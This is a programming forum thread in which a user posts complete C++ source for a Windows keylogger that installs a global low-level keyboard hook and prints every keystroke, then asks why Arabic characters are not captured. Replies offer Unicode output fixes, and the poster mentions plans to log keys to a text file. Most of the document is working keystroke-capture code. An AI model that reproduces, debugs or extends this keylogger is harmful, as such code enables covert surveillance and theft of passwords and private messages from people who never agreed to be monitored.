Keyboard Languages

I made a keylogger and my computer has both English and Arabic. The program logs the English letters fine but not the Arabic letters.

Here is the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
// Keylogger.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <iostream>
#include <Windows.h>
#include <cstdlib>
#include <string>

HHOOK hHook = NULL;

using namespace std;

void UpdateKeyState(BYTE *keystate, int keycode) {

	keystate[keycode] = GetKeyState(keycode);
}

LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam) {

	//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP
	//LPARAM is the key information

	if (wParam == WM_KEYUP) {

		// Get the key information
		KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);

		wchar_t buffer[5];

		// Get the keyboard state
		BYTE keyboard_state[256];
		GetKeyboardState(keyboard_state);
		UpdateKeyState(keyboard_state, VK_SHIFT);
		UpdateKeyState(keyboard_state, VK_CAPITAL);
		UpdateKeyState(keyboard_state, VK_CONTROL);
		UpdateKeyState(keyboard_state, VK_MENU);

		// Get keyboard layout
		HKL keyboard_layout = GetKeyboardLayout(0);

		// Get the name
		char lpszName[0x100] = { 0 };

		DWORD dwMsg = 1;
		dwMsg += cKey.scanCode << 16;
		dwMsg += cKey.flags << 24;

		int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName, 255);

		// Try to convert key info
		int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer, 4, 0, keyboard_layout);
		buffer[4] = L'\0';

		// Convert to a basic_string
		wstring basicstring(buffer);
		string basicstring2(lpszName);

		// Print the output
		wcout << basicstring << " ";
		//cout << basicstring2 << " ";

		return CallNextHookEx(hHook, nCode, wParam, lParam);
	}

	else {
		return CallNextHookEx(hHook, nCode, wParam, lParam);
	}
}

int _tmain(int argc, _TCHAR* argv[])
{
	hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
	if (hHook == NULL) {
		cout << "Hook failed." << endl;
	}

	while (GetMessage(NULL, NULL, 0, 0));
	return 0;
}


Any help would be appreciated.
Help please
well how are you opening the file to view the keys logged?
For now am relying on wcout << basicstring << " "; in line 60
oh sorry i didnt look clearly at your code. i dont know win32 real well, so tell me this. is your program using ascii or utf?
Output unicode characters to console is very tricky ;)

This is a code snippet thjat does what you want:
1
2
3
4
5
6
7
8
9
#include <iostream>
#include <io.h>
#include <fcntl.h>

int wmain(int argc, wchar_t* argv[])
{
    _setmode(_fileno(stdout), _O_U16TEXT);
    std::wcout << L"Testing unicode -- English -- Ελληνικά -- Español." << std::endl;
}



The trick is in this line:
_setmode(_fileno(stdout), _O_U16TEXT);
well, actually, <locale> should do the trick i think
@modoran Actually, if the console is what is causing the problem I'll write to a text file its fine. My intent was actually to write to a text file but I figured I'd go at it step by step.
@little WHat does this do? And where should I place it?
I found another problem. In my computer I have three keyboards, english us, english uk, and arabic. If I change the keyboard before I run the application, the program shows the correct keyboard layout. But if I change the keyboard while the program is running, it doesnt change in the program. Arabic doesnt work at all.
@modoran I tried writing arabic to a text file and it printed something like this "(l[]~". I also tried ur code and the middle language was replaced with question marks like this: "Testing unicode -- English -- ???????? -- Español."
guys???
Topic archived. No new replies allowed.